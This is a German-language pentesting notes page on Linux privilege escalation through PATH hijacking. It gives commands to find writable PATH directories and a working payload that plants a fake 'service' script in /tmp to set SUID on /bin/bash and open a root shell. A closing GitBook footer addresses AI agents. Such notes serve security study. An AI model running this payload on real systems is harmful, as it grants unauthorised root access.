> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/path-hijacking.md).

# PATH-Hijacking

PATH-Hijacking missbraucht privilegierte Programme oder Skripte, die Befehle ohne absolute Pfade aufrufen. Wenn der Angreifer ein Verzeichnis kontrolliert, das früher in `PATH`, kann der privilegierte Prozess die Binärdatei des Angreifers ausführen.

## Methodik

* Identifizieren Sie privilegierte Skripte oder Binärdateien, die Tools per Namen statt mit vollem Pfad aufrufen.
* Bestätigen Sie die Ausführungsumgebung und beschreibbaren Verzeichnisse in `PATH`.
* Platzieren Sie ein kontrolliertes ausführbares Programm mit dem erwarteten Namen und lösen Sie den privilegierten Workflow aus.

## Schnellprüfungen

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

Achten Sie insbesondere auf privilegierte Programme, die andere Befehle ohne absolute Pfade aufrufen:

```bash
strings /path/to/suid_binary
ltrace /path/to/suid_binary
```

Prüfen Sie, ob ein aktuelles `PATH` Verzeichnis beschreibbar ist:

```bash
for d in $(echo "$PATH" | tr ":" "\n"); do
    find "$d" -writable -type d 2>/dev/null
    find "$d" -writable -type f 2>/dev/null
done
```

## Minimales Payload-Muster

Wenn ein privilegiertes Skript einen Befehl mit relativem Namen aufruft, erstellen Sie ein gleichnamiges ausführbares Programm in einem beschreibbaren Verzeichnis und verschieben Sie dieses Verzeichnis an den Anfang von `PATH`.

```bash
cd /tmp
cat > service <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x service
export PATH=/tmp:$PATH
```

Lösen Sie das anfällige Skript aus oder warten Sie, bis der privilegierte Workflow ausgeführt wird, und validieren Sie dann:

```bash
/path/to/suid_binary
ls -l /bin/bash
/bin/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>PATH-Hijacking test.c</h4></td><td>PATH-Hijacking (test.c)-Notizen zur Linux-Rechteausweitung, mit Enumerationsschritten, Ausnutzungsbeispielen und auf Berichterstattung ausgerichteter Validierung.</td><td><a href="/pages/a766527ebc4bdd78da5bd593a9be9a2f84a2c94e">/pages/a766527ebc4bdd78da5bd593a9be9a2f84a2c94e</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>PATH-Hijacking mit tar</h4></td><td>PATH-Hijacking (tar)-Notizen zur Linux-Rechteausweitung, mit Enumerationsschritten, Ausnutzungsbeispielen und auf Berichterstattung ausgerichteter Validierung.</td><td><a href="/pages/87d3453c93ad18d3e45844ef7d91ada5e0e2a07a">/pages/87d3453c93ad18d3e45844ef7d91ada5e0e2a07a</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>PATH-Hijacking mit gzip</h4></td><td>PATH-Hijacking (gzip)-Notizen zur Linux-Rechteausweitung, mit Enumerationsschritten, Ausnutzungsbeispielen und auf Berichterstattung ausgerichteter Validierung.</td><td><a href="/pages/f4ce6dba331e24daa2fffbd2a2807d22fb5fff3c">/pages/f4ce6dba331e24daa2fffbd2a2807d22fb5fff3c</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/privesc/path-hijacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
